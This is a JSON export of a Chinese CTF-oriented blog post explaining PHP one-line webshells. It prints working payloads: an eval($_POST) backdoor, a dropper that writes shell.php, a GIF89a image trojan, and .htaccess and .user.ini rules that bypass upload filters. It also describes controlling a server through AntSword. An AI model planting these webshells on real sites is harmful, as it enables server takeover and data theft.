{"id":230,"date":"2023-04-14T19:28:47","date_gmt":"2023-04-14T11:28:47","guid":{"rendered":"https:\/\/blog.byzhb.top\/?p=230"},"modified":"2023-04-30T00:32:06","modified_gmt":"2023-04-29T16:32:06","slug":"yjh","status":"publish","type":"post","link":"https:\/\/blog.byzhb.top\/index.php\/2023\/04\/14\/yjh\/","title":{"rendered":"\u4f60\u771f\u7684\u4e86\u89e3\u4e00\u53e5\u8bdd\u6728\u9a6c\u5417\uff1f"},"content":{"rendered":"

\u200b<\/span>\u4e00\u3001\u524d\u8a00\uff1a<\/h1>\n

\u4e00\u53e5\u8bdd\u6728\u9a6c\u662f\u5927\u591a\u7f51\u5b89\u4eba\u5728\u521d\u6b65\u5b66\u4e60\u4e2d\uff0c\u5c31\u9047\u5230\u7684\u4e00\u79cd\u7b80\u5355\u7684\u6728\u9a6c\u6587\u4ef6\uff0c\u76f8\u4fe1\u5f88\u591a\u4eba\u90fd\u50cf\u535a\u4e3b\u4e00\u6837\u5728\u63a5\u89e6\u5230\u8fd9\u4e00\u6bb5\u4ee3\u7801\u65f6\uff0c\u90fd\u4f1a\u611f\u5230\u975e\u5e38\u7684\u795e\u5947\uff0c\u901a\u8fc7\u8fd9\u6837\u4e00\u6bb5\u4ee3\u7801\u5c31\u80fd\u63a7\u5236\u670d\u52a1\u5668\uff0c\u4f46\u5374\u4e0d\u77e5\u9053\u5176\u4e2d\u7684\u539f\u7406\uff0c\u5728\u5b66\u4e60PHP\u4e4b\u540e\u624d\u660e\u767d\u5176\u6784\u6210\uff0c\u4eca\u5929\u535a\u4e3b\u5c31\u5e26\u5927\u5bb6\u6d45\u6790\u4e00\u4e0b\u4e00\u53e5\u8bdd\u6728\u9a6c\uff0c\u4e5f\u7b97\u662f\u671d\u82b1\u5915\u62fe\u5427<\/p>\n

\u4e8c\u3001\u4ec0\u4e48\u662f\u4e00\u53e5\u8bdd\u6728\u9a6c\uff1a<\/h1>\n

\u4e00\u53e5\u8bdd\u6728\u9a6c\u662f\u4e00\u79cd\u77ed\u5c0f\u7cbe\u608d\u7684\u6076\u610f\u4ee3\u7801\uff0c\u901a\u5e38\u53ea\u6709\u4e00\u884c\u4e4b\u957f\u3002\u8fd9\u79cd\u6728\u9a6c\u53ef\u4ee5\u5229\u7528\u4e00\u4e9b\u6f0f\u6d1e\uff0c\u4ee5\u4e0a\u4f20\u6587\u4ef6\u3001\u4fee\u6539\u914d\u7f6e\u7b49\u65b9\u5f0f\u5c06\u6076\u610f\u4ee3\u7801\u690d\u5165\u5230\u53d7\u5bb3\u8005\u670d\u52a1\u5668\u4e0a\uff0c\u7136\u540e\u901a\u8fc7\u4e00\u4e9b\u7279\u6b8a\u624b\u6cd5\u5728\u670d\u52a1\u5668\u7aef\u6267\u884c\uff0c\u4ee5\u8fbe\u5230\u5165\u4fb5\u63a7\u5236\u76ee\u7684\u3002\u653b\u51fb\u8005\u53ef\u4ee5\u4f7f\u7528\u4e00\u53e5\u8bdd\u6728\u9a6c\u6765\u7a83\u53d6\u7f51\u7ad9\u7684\u654f\u611f\u4fe1\u606f\u3001\u7be1\u6539\u7f51\u7ad9\u5185\u5bb9\u3001\u653b\u51fb\u5176\u4ed6\u7f51\u7ad9\u3001\u5236\u9020\u7834\u574f\u7b49\u3002\u7531\u4e8e\u4e00\u53e5\u8bdd\u6728\u9a6c\u5177\u6709\u4f53\u79ef\u5c0f\u3001\u9690\u853d\u6027\u5f3a\u7b49\u7279\u70b9\uff0c\u5728\u9ed1\u5ba2\u653b\u51fb\u4e2d\u975e\u5e38\u5e38\u89c1\u3002<\/p>\n

\u4e09\u3001\u5e38\u89c1\u7684\u4e00\u53e5\u8bdd\u6728\u9a6c\uff1a<\/h1>\n

\u6211\u4eec\u63a5\u89e6\u7684\u4e00\u53e5\u8bdd\u6728\u9a6c\u5927\u591a\u4e3a\u8fd9\u79cd\uff0c\u8be5\u6728\u9a6c\u4f7f\u7528\u4e86PHP\u8bed\u8a00\uff0c\u9700\u8981\u5728\u6709PHP\u73af\u5883\u7684\u7ad9\u70b9\u4e2d\u624d\u53ef\u4f7f\u7528<\/p>\n

<?php @eval($_POST[cmd]); ?><\/pre>\n
\u6728\u9a6c\u8bb2\u89e3\uff1a<\/h2>\n
1\u3001$_POST[cmd]<\/h3>\n
$_POST<\/code><\/strong> \u662f PHP \u4e2d\u7684\u4e00\u4e2a\u8d85\u5168\u5c40\u53d8\u91cf<\/strong><\/span>\uff0c\u6211\u4eec\u5728\u6d4f\u89c8\u5668\u4e2dPOST<\/span>\u65b9\u5f0f\u63d0\u4ea4\u7684\u6240\u6709\u53d8\u91cf\uff0c\u90fd\u4f1a\u4fdd\u5b58\u5728\u6b64\u6570\u7ec4\u4e2d\uff0c\u53d8\u91cf\u540d\u5373\u4e3a\u952e\u540d<\/p>\n
2\u3001eval()<\/h3>\n
eval()<\/code><\/strong> \u51fd\u6570\u5728 PHP<\/span> \u4e2d\u7528\u4e8e\u6267\u884c\u5b57\u7b26\u4e32\u4e2d\u7684\u4ee3\u7801\u5e76\u8fd4\u56de\u6267\u884c\u7ed3\u679c<\/strong><\/span>\u3002\u8be5\u51fd\u6570\u63a5\u53d7\u4e00\u4e2a\u5b57\u7b26\u4e32\u4f5c\u4e3a\u53c2\u6570\uff0c\u8be5\u5b57\u7b26\u4e32\u5305\u542b\u8981\u6267\u884c\u7684 PHP<\/span> \u4ee3\u7801<\/span><\/strong>(\u5728\u6b64\u4ee3\u7801\u4e2d\u4e3a$_POST[cmd]<\/span><\/em>\uff09\uff0c\u7136\u540e\u6267\u884c\u8be5\u4ee3\u7801\uff0c\u5e76\u4e14\u53ef\u4ee5\u8fd4\u56de\u7ed3\u679c<\/p>\n
\u8be5\u51fd\u6570\u5bf9php\u8bed\u6cd5\u8981\u6c42\u4e25\u683c\uff0c\u6240\u4f20\u5165\u8bed\u53e5\u5fc5\u987b\u4ee5\" ; \"\u53f7\u7ed3\u5c3e<\/strong><\/span><\/p>\n
3\u3001\"@\"<\/h3>\n
\u7b26\u53f7\"@<\/strong><\/span>\"\u7684\u4f5c\u7528\u662f \u5c4f\u853d\u8be5\u8bed\u53e5\u7684\u62a5\u9519\u4fe1\u606f<\/strong><\/span>\uff0c\u4e5f\u5c31\u662f\u6240\u5373\u4f7f\u8be5\u8bed\u53e5\u6267\u884c\u9519\u8bef\u4e5f\u4e0d\u4f1a\u663e\u793a\u62a5\u9519\u4fe1\u606f\uff0c\u5982\u679c\u7ad9\u70b9PHP\u7248\u672c>=8.0<\/strong><\/span>\u7684\u8bdd\uff0c\u8bbf\u95ee\u4e0d\u5e26\"@\"\u7684\u4e00\u53e5\u8bdd\u6728\u9a6c\u4f1a\u663e\u793a\u5982\u4e0b\uff1a<\/p>\n
\"\"<\/div><\/p>\n
\u200b<\/span><\/p>\n
\u00a0\u539f\u56e0\u662f\uff1aphp\u81ea8.0\u7248\u672c\u4e4b\u540e\u4f1a\u5bf9\u4f7f\u7528\u672a\u5b9a\u4e49\u7684\u53d8\u91cf\u8fdb\u884c\u62a5\u9519<\/strong><\/p><\/blockquote>\n
\u6211\u4eec\u521d\u6b65\u8bbf\u95ee\u6b64\u6728\u9a6c\u65f6\u5e76\u6ca1\u6709\u5bf9\u5176\u53d8\u91cf\u4f20\u503c\uff0c\u56fa\u7136\u4f1a\u62a5\u9519<\/p>\n
4\u3001\u8109\u7edc\u68b3\u7406<\/h3>\n
\u8be5\u6728\u9a6c\u7684\u5927\u4f53\u610f\u601d\u4e3a\uff0c\u7528eval\u51fd\u6570\uff0c\u5c06\u6211\u4eecpost\u65b9\u5f0f\u63d0\u4ea4\u7684\u540d\u4e3acmd\u7684\u53d8\u91cf\uff0c\u5f53\u505aPHP\u4ee3\u7801\u6267\u884c\uff0ccmd\u53d8\u91cf\u53ef\u4e3a\u4efb\u4f55\u653b\u51fb\u4ee3\u7801<\/p>\n
\u56db\u3001\u53ef\u7528\u4e8e\u6761\u4ef6\u7ade\u4e89\u7684\u4e00\u53e5\u8bdd\u6728\u9a6c\uff1a<\/h1>\n
\u5173\u4e8e\u4ec0\u4e48\u662f\u6761\u4ef6\u7ade\u4e89\u8bf7\u770b\u535a\u4e3b\u7684\u8fd9\u7bc7\u6587\u7ae0http:\/\/t.csdn.cn\/RFAgE<\/p>\n
\u6728\u9a6c\u8bb2\u89e3\uff1a<\/h2>\n
 <?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])\uff1b ?>' ); ?><\/pre>\n
1\u3001fopen()<\/h3>\n
\u8be5\u51fd\u6570\u7684\u683c\u5f0f\u4e3a fopen(filename,mode,include_path,context)<\/strong><\/p><\/blockquote>\n
\"\"<\/div><\/p>\n
 fopen('shell.php','w')<\/pre>\n
\u8be5\u8bed\u53e5\u7684\u610f\u601d\u4e3a\uff0c\u4ee5\u5199\u5165\u65b9\u5f0f<\/strong><\/span>\u6253\u5f00\u4e00\u4e2a\u53eb\u505a\u201c shell.php<\/span> \u201d,\u7684\u6587\u4ef6\uff0c\u8be5\u6587\u4ef6\u4e0d\u5b58\u5728\uff0c\u6545\u521b\u5efa<\/strong>\u4e86\u4e00\u4e2ashell.php\u6587\u4ef6<\/span><\/p>\n
2\u3001fputs()<\/h3>\n
\u8be5\u51fd\u6570\u683c\u5f0f\u4e3a\u00a0 fputs(file,string,length)<\/strong><\/p><\/blockquote>\n
\"\"<\/div><\/p>\n
fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])\uff1b ?>' )<\/pre>\n
file\u53c2\u6570\u5bf9\u5e94 \u00a0 fopen('shell.php','w') <\/u>\u8bed\u53e5\u751f\u6210\u7684shell.php\u6587\u4ef6<\/p>\n
string\u53c2\u6570\u5bf9\u5e94\u00a0\u00a0 '<?php @eval($_POST[cmd])\uff1b\u00a0 ?><\/span>'\u00a0<\/strong> \u8fd9\u6761\u5b57\u7b26\u4e32<\/p><\/blockquote>\n
\u4e5f\u5c31\u662f\u8bf4\u628a\u6728\u9a6c\u8bed\u53e5\u5199\u5165\u5230\u4e86shell.php<\/span>\u4e2d<\/strong><\/p>\n
\u00a03\u3001\u8109\u7edc\u68b3\u7406<\/h3>\n
\u8be5\u51fd\u6570\u9996\u5148\u501f\u7528fopen\u51fd\u6570<\/strong>\u7684w<\/strong>\u65b9\u5f0f\uff0c\u521b\u5efa\u4e86shell.php<\/strong>\u6587\u4ef6\uff0c\u7136\u540e\u7528fputs\u51fd\u6570<\/strong>\u5c06'<?php @eval($_POST[cmd])\uff1b\u00a0 ?><\/span>'\u00a0 <\/em>\u5199\u5165\u4e86\u8be5\u6587\u4ef6<\/p>\n
\u6362\u800c\u8a00\u4e4b\uff0c\u4e00\u65e6\u8bbf\u95ee\u8be5\u6587\u4ef6\uff0c\u5c31\u4f1a\u751f\u6210\u4e00\u4e2a\u540d\u4e3ashell.php<\/strong>\u7684\u4e00\u53e5\u8bdd\u6728\u9a6c\uff0c\u6728\u9a6c\u7684\u5185\u5bb9\u5728\u4e0a\u6587\u5df2\u8bb2\u8fc7<\/p>\n
\u4e94\u3001\u56fe\u7247\u9a6c<\/h1>\n
1\u3001\u4ec0\u4e48\u662f\u56fe\u7247\u9a6c\uff1a<\/h2>\n
\u5728\u7ad9\u70b9\u7981\u6b62<\/strong>\u4e0a\u4f20php\u6587\u4ef6\u65f6\uff0c\u6211\u4eec\u53ef\u4ee5\u5c06\u542b\u6709\u4e00\u53e5\u8bdd\u6728\u9a6c\u7684jpg(\u4e5f\u53ef\u4ee5\u662f\u5176\u4ed6img\u683c\u5f0f)\u56fe\u7247\uff0c\u914d\u5408.htaccess<\/strong>\u6587\u4ef6\uff0c\u5c06\u5176\u89e3\u6790\u6210php\u6587\u4ef6<\/p>\n
2\u3001.htaccess<\/h2>\n
\u6587\u4ef6\u5185\u5bb9\u4e3a<\/p>\n
 <FilesMatch \"jpg\"> \r\nSetHandler application\/x-httpd-php\r\n<\/FilesMatch>\r\n\/\/\u5927\u4f53\u610f\u601d\u662f\u8bbe\u7f6e\u5f53\u524d\u76ee\u5f55\u6240\u6709\u5e26jpg\u7684\u6587\u4ef6\u540d\u90fd\u4f7f\u7528php\u89e3\u6790\uff0c\u90a3\u4e48\u65e0\u8bba\u4e0a\u4f20\u4efb\u4f55\u6587\u4ef6\uff0c\u53ea\u8981\u7b26\u5408php\u8bed\u8a00\u4ee3\u7801\u89c4\u8303\uff0c\u5c31\u4f1a\u88ab\u5f53\u505aPHP\u6267\u884c\u3002\u4e0d\u7b26\u5408\u89c4\u5219\uff0c\u5219\u62a5\u9519<\/pre>\n
\u7136\u540e\u547d\u540d\u4e3a\u00a0 .htaccess\u00a0<\/strong> \u5e76\u4e0a\u4f20<\/p>\n
3\u3001\u6728\u9a6c\u56fe\u7247<\/h2>\n
\u6587\u4ef6\u5185\u5bb9\u4e3a<\/p>\n
GIF89a\r\n<?php @eval($_POST[cmd])\uff1b ?>\r\n\/\/GIF89a \u4e3a\u4e86\u7ed5\u8fc7\u53ef\u80fd\u5b58\u5728\u7684MIME\u5934\u68c0\u6d4b<\/pre>\n
\u7136\u540e\u547d\u540d\u4e3a shell.jpg \u5e76\u4e0a\u4f20\uff0c\u4e0a\u4f20\u540e\u8bbf\u95ee\u5176\u8def\u5f84\u4fbf\u53ef\u4ee5\u4f20\u53c2<\/p>\n
4.\u00a0\u00a0 .user.ini\u6269\u5c55<\/h2>\n
\u6587\u4ef6\u5185\u5bb9\u4e3a<\/p>\n
auto_prepend_file=shell.jpg\r\n\r\n\/\/\u610f\u601d\u5c31\u662f\u5f53\u524d\u76ee\u5f55\u4e2d\u7684php\u6587\u4ef6\u7684\u9875\u5934\u4f1a\u81ea\u52a8\u53bb\u5305\u542bshell.jpg\u4e2d\u7684\u6587\u4ef6\u5185\u5bb9\r\nauto_append_file \u662f\u9875\u5c3e\u5305\u542b<\/pre>\n
\u6587\u4ef6\u540d\u4e3a\u00a0 .user.ini<\/strong><\/p>\n
\u64cd\u4f5c\u6b65\u9aa4\u548c .htaccess\u76f8\u4f3c<\/p>\n
\u516d\u3001\u4e00\u53e5\u8bdd\u6728\u9a6c\u8fdb\u4e00\u6b65\u5229\u7528<\/h1>\n
\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u8681\u5251\u3001\u83dc\u5200\u3001\u51b0\u874e\u7b49webshell\u5de5\u5177\uff0c\u6765\u66f4\u52a0\u5f7b\u5e95\u7684\u5229\u7528\u4e00\u53e5\u8bdd\u6728\u9a6c\uff0c\u8fd9\u91cc\u4ee5\u8681\u5251\u4e3a\u4f8b<\/p>\n
1\u3001\u8fde\u63a5<\/h2>\n
\"\"<\/div><\/p>\n
url\u5730\u5740\u4e3a \u7ad9\u70b9url+\u6728\u9a6c\u4e0a\u4f20\u8def\u5f84<\/p>\n
\u8fde\u63a5\u5bc6\u7801\u4e3a shell.php\u4e2dPOST\u7684\u53d8\u91cf\u540d<\/p><\/blockquote>\n
2\u3001\u5229\u7528<\/h2>\n
\u5728\u8fde\u63a5\u6210\u529f\u540e\uff0c\u4fbf\u53ef\u4ee5\u904d\u5386\u7f51\u7ad9\u670d\u52a1\u5668\u76ee\u5f55\uff0c\u6267\u884c\u547d\u4ee4\u64cd\u4f5c\uff0c\u6216\u8fdb\u884c\u8fdb\u884c\u4e00\u6b65\u63d0\u6743\u64cd\u4f5c<\/p>\n
\"\"<\/div><\/p>\n
 <\/p><\/blockquote>\n","protected":false},"excerpt":{"rendered":"
\u4e00\u53e5\u8bdd\u6728\u9a6c\u662f\u5927\u591a\u7f51\u5b89\u4eba\u5728\u521d\u6b65\u5b66\u4e60\u4e2d\uff0c\u9047\u5230\u7684\u4e00\u79cd\u7b80\u5355\u7684\u6728\u9a6c\u6587\u4ef6\uff0c\u4f46\u662f\u4f60\u771f\u7684\u4e86\u89e3\u5b83\u5417\uff1f<\/p>\n","protected":false},"author":1,"featured_media":236,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1,22],"tags":[15,7,26],"class_list":["post-230","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uncategorized","category-webs","tag-ctf","tag-php","tag-web"],"_links":{"self":[{"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/posts\/230","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/comments?post=230"}],"version-history":[{"count":2,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/posts\/230\/revisions"}],"predecessor-version":[{"id":238,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/posts\/230\/revisions\/238"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/media\/236"}],"wp:attachment":[{"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/media?parent=230"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/categories?post=230"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/tags?post=230"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}